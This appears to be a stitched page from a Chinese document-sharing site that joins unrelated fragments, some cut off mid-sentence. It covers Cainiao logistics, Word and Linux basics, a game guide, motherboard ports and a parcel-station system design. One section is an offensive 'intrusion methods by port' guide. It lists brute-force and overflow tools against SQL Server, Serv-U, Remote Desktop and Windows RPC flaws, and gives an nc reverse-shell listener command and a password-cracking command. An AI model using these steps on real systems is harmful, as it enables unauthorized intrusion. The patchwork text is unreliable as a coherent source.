命题教师系主任签字 菜鸟物流 一.菜鸟的概念 菜鸟创立于2006年,是中国国内最早的专业电子商务物流流程外包服务提供商,b2c配送管理一站式解决方案的专业物流服务提供商。专注于为电子商务企业以及传统企业进入电子商务领域快速建立全国性的物流配送以及仓储管理体系。菜鸟管理不断改进自身的服务水平,支持客户的电商业务发展,解除电商的物流后顾之忧。大幅度改善消费者网购的物流体验,同时帮助企业甩开物流包袱,以专注核心价值的提升为己任,通过优越的运作策略、技术和供应链运作,整合资源实施提高整个电子商务仓配行业的效率。菜鸟通过菜鸟储运高效、优质的服务、使物流环节由企业的成本中心转化为利润中心和服务中心。致力于为商家提供高效-低成本的全国B2B+B2C仓储配送整体解决方案。 菜鸟是一个为电子商务客户提供一整套物流解决方案的物流商,我们提供不只是单单送货的服务,还包括订货信息的处理、仓库的管理及售后服务。我们有自己的物流信息系统。当顾客向网站提交购物清单后,网站应立即将清单的副本传输到物流信息系统,同时我们的物流信息系统实时反应仓库的库存情况,并根据各种产品的销售状况及时向网站提出采购建议。同时我们在全国有自己的仓储系统。配合网络购物打破了区域性的要求。除此之外我们还有自己的运输网络,以及有一定素养的客户服务人员,及时处理顾客提出的换货和退货要求。 二.菜鸟的发展现状 菜鸟在全国建立了上海、广州、深圳、武汉、北京、成都等多处运营中心,仓储面积超过7万平方米,配送网络覆盖全国。菜鸟是淘宝网,天猫商城,拍拍,京东商户等的物流合作伙伴,已得到著名风险投资公司的支持。 菜鸟网络专注打造的中国智能物流骨干网将通过自建、共建、合作、改造等多种模式,在全中国范围内形成一套开放的社会化仓储设施网络。同时利用先进的互联网技术,建立开放、透明、共享的数据应用平台,为电子商务企业、物流公司、仓储企业、第三方物流服务商、供应链服务商等各类企业提供优质服务,支持物流行业向高附加值领域发展和升级。最终促使建立社会化资源高效协同机制,提升中国社会化物流服务品质。菜鸟通过打造智能物流骨干网,对生产流通的数据进行整合运作,实现信息的高速流转,而生产资料、货物则尽量减少流动,以提升效率。有人认为这种运作模式将颠覆传统物流模式。 菜鸟网络的注册资金为50亿元,前三期投资将合计3000亿元。建立智能物流骨干网的一个重要基础是仓储干线建设。因此,菜鸟在这一方面也做足了功夫,菜鸟网络CEO沈国军介绍,同时启动的拿地建仓项目已包括北京、天津、广州、武汉、金华、海宁等十多个城市。金华的金义都市新区,则有望成为阿里物流的第一个创业基地。沈国军表示,“包括中西部地区在内,我们会在全国八个重要城

新手必看的Word入门教程

新手必看的Word入门教程 (本文由一览旗下液压英才网资深顾问袁工分享) 新建文件夹: Word是一个文字处理软件,属于微软的Office系列,国产的是金山WPS, 文字处理主要包括,文字录入、排版、存储、打印等等各个方面,我们先来做好准备工作; 1、打开我的文档 1)在桌面上双击“我的文档”图标,进入文件夹; 2)在空白处单击鼠标右键,在出来的菜单中选择“新建”命令;

3)在出来的下一级菜单中,选择上边的“文件夹”命令; 4)这时在工作区出来一个新的文件夹,名称那儿是蓝色的,按退格键删除里头的“新建文件夹”, 然后输入自己姓名的拼音,输好后再用鼠标点一下图标,这样一个自己名字的文件夹就建好了; 这儿也可以输汉字,点击输入法图标,选择一个汉字输入法,输入自己的名字就可以; 5)在图标上双击,进入文件夹看一下,由于是新建的文件夹,里头还是空的,后面我们会逐渐保存上自己的文件; 本节学习了新建文件夹的一般方法,如果你成功地完成了练习,请继续学习;输入文字或保存: 1、启动Word 1)单击屏幕左下角的“开始-所有程序-Microsoft Office-Microsoft Office Word 2003”,就可以启动Word,也可以在桌面上创建一个快捷方式;

2)Word窗口主要由菜单栏、工具栏、工作区组成,文字一般输到工作区中,有一个一闪一闪的竖线; 3)记住常用的菜单“文件”菜单、“视图”菜单和“格式”菜单,工具栏中是一些常用的菜单命令,用图片表示,使用很方便; 2、输入文字 1)在工作区中点一下鼠标,这样就会出现一条一闪一闪的光标插入点,文字就输在它这儿; 2)点击输入法图标,选择汉语输入法,这儿选择的是紫光输入法; 3)输入自己的姓名,然后按回车到下一行,输入班级、学校; 注意观察光标插入点的位置变化,它会随着文字逐渐后退; 3、保存文件 1)点击菜单“文件-保存”命令,第一次保存,出来一个“另存为”对话框;

菜鸟品牌基础规范

菜鸟品牌基础规范

菜鸟网络品牌视觉规范 | 2.品牌架构信息 1 基础系统 1.1 标识 1.2 标识排版 1.3 标识应用规范 1.4 色彩及应用规范彩 1.5 图形及应用规范 1.6 字体 1.7 合作伙伴联合应用 1.8 业务线标识及应用规范

标识释义 全新的菜鸟品牌标识简洁直观,代表着基于流动的物流数据延伸所提供的智能服务。 菜鸟的新形象以数据网络及平台化思考,将菜鸟字母拼写(cainiao)中的“A”和“I”巧妙的结合在一起,形成两排自下而上的箭头,连贯有序。当箭头流动起来的时候左右交替呈现人工智能的简称“AI” ,体现以数据为核心驱动的智能调度,高效协同及对智能数据的研究、开发和应用。 菜鸟在流畅的数据和物流网络中为客户提供先机,应对未来的市场变化。动态的标识形态很好的体现菜鸟的使命和能力,以源源不断的动力赋予给同行者持续的价值和有序增长。菜鸟是价值链共赢的生态中枢,并以社会化协同 和科技驱动的智能物流平台。菜鸟将创造万 物生机,以流动的数据、智能的服务助力世 界未来。

菜鸟标识图形是一个符合黄金比例标准的平衡整体,由对称的上下结构组成,使用中不得改变其形状和比例。 在标准网格制图中,恒定标识图形的竖线宽度为x,并以此对图形进行精确绘制。其中标识图形的高度为14.7x,宽度为26.6x。字母间上 下左右之间的间距为一个x。

菜鸟标识的动态图形由标识中间两排向上的“箭头”由下而上匀速移动,形成有序的向上联动,其速度为(v=29x/s)。 其运动的起点和静止为静态标识的形态,分解 图形动作为右侧1、2、3、4。

《百年战争》新手冲级攻略

《百年战争》新手冲级攻略 老鸟玩家可以无视本文,该新手指导只为初入百年的菜鸟朋友一些盲点提醒,进入游戏后先是会看到跳出窗的新手提示,没有网游经验的玩家可以看看 新手提示,如果你是网游老鸟,那么就请关闭它吧(鼠标左键双击提示就关闭了)。首先先去拿佣兵卡吧,,记住必须要先在游戏里创建角色,才能去 活动页面激活哦!激活后就可以拿到 10级蓝色戒指 1个弱效经验宝石 3颗 强效经验宝石 3颗材料采集工具包 1个银币 10000 水晶币 1000 首先,先到你面前的枫叶镇长老处接新手任务好了,新手任务会赠送你一个新手大礼包哦,打开后可以获得百年赠送的礼物,还有赠送强化, 经验石等等的实用道具,不要犹豫点上你的经验宝石。那前期的任务很简单, 你可以按下任务快捷键L,或者用鼠标将游戏右下角的任务窗口打开,然后按 照任务里的提示,双击npc名就可以进行自动寻路,自动寻路时在游戏的右上 角小地图旁有个鞋子的图标提示哦。新手任务里有个去寻找你所选职业导师的,那里你需要学习技能才能完成任务,学习技能后可以打开技能快捷栏,将技能 拖动到数字1到8,以及F1到F8的快捷键,以后使用技能就可以按快捷键 了。这里大家大概就对这个游戏有一个大概的了解了,很快的,你完成 新手任务就能达到5级,这里会提示大家去寻找普罗米,那么你将接到进入百 年后第一个打怪任务——小海蟹,使用自动寻路就可以找到小海蟹了,这里我 们可以手动打怪,也可以使用自动挂机系统,alt+z就可以打开了,当然自动 挂机会比手动的效率低上那么一些,但是省力啊。挂机是需要精力值的,可以 通过在线时间以及商城的药品补充。基本上是6的精力值=1分钟挂机时间拉。 如果你是手动打怪,没血了,想省药,那么就点下V,进入祈祷状态,就可以 回血了。就是这样的不停刷任务,当中大家最好可以组队刷,那样效率 会快很多哦!很容易的大家就可以达到了10级。10级需要面对你在百年里的 第一个小boss,萨普。几个人组队在喝血很轻松就能干掉它。一个人的话那花 费的血瓶就比较多了哦。这是大家可以去升级自己的生活技能了,打开技能页面,学习基础技能以及相应的升级技能,在10级时,打开新手礼包可以获得一个采集工具,在学习完采集技能后,就可以用采集工具就可以在野外采集点或 者主城的采集场传送员那传送到专门的地图内进行采集,采集是会消耗你的采 集工具的。采集有什么作用呢,这里要说明一下,百年战争的极品装备是 必须自己生产或者靠打boss掉的,但是boss少,抢的人多。所以大部分人还 是选择自己做装备,做装备需要材料,就必须靠采集,否则材料数量不够,还 没做出你满意的极品,材料就用光了。做装备可以到装备制造商那边做,装备 的品质概率与你所投入的XX之魂的核心材料数量有关,不出意外,新服开始后,该材料的价格会水涨船高。装备做好了,就必须强化,新手礼包送的强化石就 能派上场了。如果你想节约的话那么就留到20级在强化吧,反正10级到20 级很快的,一般也是到20级在做装备。继续做任务吧,到了15级,又 将面对一个新的boss-水元素王,别担心,象萨普那样组队打还是可以很轻松 的干掉他。15级后,坐骑,圣灵,佣兵任务等等丰富多彩的游戏生活就要在你 未来的百年之路中展开了。相信这款游戏对于各位新手玩家还是很容易就能接 受的。现在还没开放充值,不过大家做任务或者论坛做活动都能获得商城钻石 币哈。加入

各个端口的入侵方法(入侵菜鸟必看)

各个端口的入侵方法(入侵菜鸟必看)1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPass.exe 进行字典暴破(字典是关键) 最后SQLTools.exe入侵 对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本机端口sqlhelloF.exe 入侵ip 1433 本机ip 本机端口 (以上反向的,测试成功) sqlhelloz.exe 入侵ip 1433 (这个是正向连接) 2. 4899端口入侵 用4899过滤器.exe,扫描空口令的机器 3. 3899的入侵 对很早的机器,可以试试3389的溢出(win3389ex.exe) 对2000的机器,可以试试字典暴破。(tscrack.exe) 4. 80入侵 对sp3以前的机器,可以用webdav入侵; 对bbs论坛,可以试试上传漏洞(upfile.exe或dvup_delphi.exe) 可以利用SQL进行注入。(小榕的注入软件)。 5. serv-u入侵(21端口) 对5. 004及以下系统,可用溢出入侵。(serv5004.exe) 对5.1.0.0及以下系统,可用本地提升权限。(servlocal.exe)

====================================== 对serv-u的MD5加密密码,可以用字典暴破。(crack.vbs) 输入一个被serv-u加密的密码(34位长),通过与字典档(dict.txt)的比较,得到密码。如:cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A 6. 554端口 用real554.exe入侵。 7. 6129端口 用DameWare6129.exe入侵。 8. 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 9. 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)。 10. 其他入侵 利用shanlu的入侵软件入侵(WINNTAutoAttack.exe)。 各种端口的入侵方法1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPas*.**e 进行字典暴破(字典是关键) 最后SQLTool*.**e入侵 对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。

经典:Linux菜鸟入门级命令大全

经典:Linux菜鸟入门级命令大全 发布时间:2005.08.16 11:51 来源:https://www.doczj.com/doc/411588826.html, 作者:Linux论坛 1. man 对你熟悉或不熟悉的命令提供帮助解释 eg:man ls 就可以查看ls相关的用法 注:按q键或者ctrl+c退出,在linux下可以使用ctrl+c终止当前程序运行。 2. ls 查看目录或者文件的属*,列举出任一目录下面的文件 eg: ls /usr/man ls -l a.d表示目录(directory),如果是一个"-"表示是文件,如果是l则表示是一个连接文件(link) b.表示文件或者目录许可权限.分别用可读(r),可写(w),可运行(x)。 3. cp 拷贝文件 eg: cp filename1 filename2 //把filename1拷贝成filename2 cp 1.c netseek/2.c //将1.c拷到netseek目录下命名为2.c 4. rm 删除文件和目录 eg: rm 1.c //将1.c这个文件删除 5. mv 移走目录或者改文件名 eg: mv filename1 filename2 //将filename1 改名为filename2 mv qib.tgz ../qib.tgz //移到上一级目录 6. cd 改变当前目录 pwd 查看当前所在目录完整路径 eg: pwd //查看当前所在目录路径 cd netseek //进入netseek这个目录 cd //退出当前目录 7. cat,more命令 将某个文件的内容显示出来。两个命令所不同的是:cat把文件内容一直打印出来,而 more则分屏显示 eg; cat>1.c //就可以把代码粘帖到1.c文件里,按ctrl+d 保存代码。 cat 1.c 或more 1.c //都可以查看里面的内容。 gcc -o 1 1.c //将1.c编译成.exe文件,我们可以用此命编译出代码。 8.chmod 命令权限修改用法:chmod 一位8进制数 filename。 eg: chmod u+x filenmame //只想给自己运行,别人只能读 //u表示文件主人, g 表示文件文件所在组。 o 表示其他人 ;r 表可读,w 表可写,x 表可以运行 chmod g+x filename //同组的人来执行 9. clear,date命令 clear:清屏,相当与DOS下的cls;date:显示当前时间。 10. mount 加载一个硬件设备 用法:mount [参数] 要加载的设备载入点 eg: mount /dev/cdrom cd /mnt/cdrom //进入光盘目录

计算机主板接口大全(菜鸟必看)

计算机主板接口大全(菜鸟必看) 2007/05/07 上午06:29 主板接口大全 种类繁多,品目多样的接口和BIOS设置,很容易就让不熟悉的菜鸟晕头转向不知所措,如果你正在为这而烦恼那就看看这篇文章吧。虽然文中介绍的不能含概过去将来所有的种类,但是对目前市面上绝大部分标准还是都有所涉及。好了如果你是那只不知所措的菜鸟那就请阅读本文吧。 处理器接口:

上图为AMD Athlon雷鸟或XP处理器Socket462 CPU插座,在插槽中间我们可以看到可以测量核心温度的测温探头以及测温电阻。 上图为Intel Socket478奔腾四处理器插座。 通常处理器插座上有一个挤压杆,通过挤压杆使处理器同插座间结合更加紧密,并且使处理器更稳固地安装在主板上。

南北桥:北桥以及南桥是主板的中枢,不同芯片组厂商的南北桥芯片各不相同,当然也提供了相近或不同的功能。 上面图中覆盖着银色散热片的就是主板的北桥芯片,北桥芯片是主板上离CPU最近的一块芯片,负责与CPU的联系并控制内存、AGP、PCI数据在北桥内部传输。由于原来的控制芯片一直摆放在主板的上部而被命名为北桥芯片,而Intel从815时开始就已经放弃了南北桥这种说法,Intel的MCH就相当于北桥芯片。MCH是内存控制器中心,负责连接CPU,AGP总线和内存。

南桥:主板上的一块芯片,主要负责I/O接口以及IDE设备的控制等。相对于北桥,南桥芯片在主板的位置要相对靠下。Intel的ICH芯片相当于南桥芯片,ICH是输入/输出控制器中心,负责连接PCI总线,IDE设备,I/O设备等。内存接口: 上图为支持168pin SDRAM内存的内存插槽。SDRAM为上一代的内存标准,SDRAM内存最大特征是有168个金手指,并且在接口处有两个缺口,这样可以避免内存插反,导致计算机硬件

管理信息系统整合(演示)

一、设计目标: 目的:通过系统的设计,在快递系统的到货、发货、自助取货中形成一条龙式流畅业务。 希望通过系统的设计达到如下: 1、快递公司通过电脑系统提前通知快递站将要到货 2、快递站工作人员将快递一一贴上条形码并扫码,扫码后则自动 发送短信提醒学生取货 3、学生到达快递站按短信上的编号取快递,刷学生卡或签名确认 取货。 二、设计背景: 随着电商的发展,物流产业成为21世纪重要产业之一,“互联网+”战略的不断推进使得物流行业结合信息技术的应用成为大势所趋。现在很多消费者不仅仅关心产品是如何生产出来,更关心产品怎样才能更好更快的传送到他们手机,这正是近年来我国物流业发展迅速的关键原因。但我国物流行业的现状仍然比较落后和传统,随着物流业在社会经济生活中的作用越来越重要,行业存在的诸如效率低、成本高、规模小等问题也日益突出。一些现代化的物流技术,如:计算机网络技术、机电一体化技术、语音识别技术、GPS、EDI、管理信息系统(MIS)等的使用还不是很广泛。 比如,江南大学菜鸟驿站,在信息化改革前,采用的是向工作人员报号然后工作人员要负责记录号码、找取快递、确认收货、录入系统等一些列工作,工作人员工作量大且效率低下。结合系统后,同学们可以自行网上或当场电脑上查询自己订单的到货信息及储存货架,并可以通过扫描二维码确认收货,信息化的提高大大加强了物流效率。

三、假设: 假设问题 1、总的假设 问题件: ①假如出现快递包裹超过三天未取,生成问题件并放置于问题件货 架,电话通知取件人及时取件,若逾期未取,退回包裹至原公司。②联系不上收件人:地址不详、电话错误、无人接听、关机等,退 回包裹至原公司。 ③丢失(或部分丢失):快递公司配送途中导致快件丢失。 ④破损(或部分破损):快递公司配送途中导致快件包装内件产品破损。 ⑤拒收:由于各种因素导致收件客户拒绝签收。 由于以上情况极少发生,故不在本快递收取管理信息系统中进行设计。 2、职能假设 (1)入库部门: ①卸货并收取快递公司的快递明细单,核对到货情况。 ②将核对完成的快递包裹按照收货时间顺序上架。 ③填制入库单(一式三份),一份存入收件管理信息系统,一份传递给派送部门。一份传递给财务部门

相关主题
文本预览
相关文档 最新文档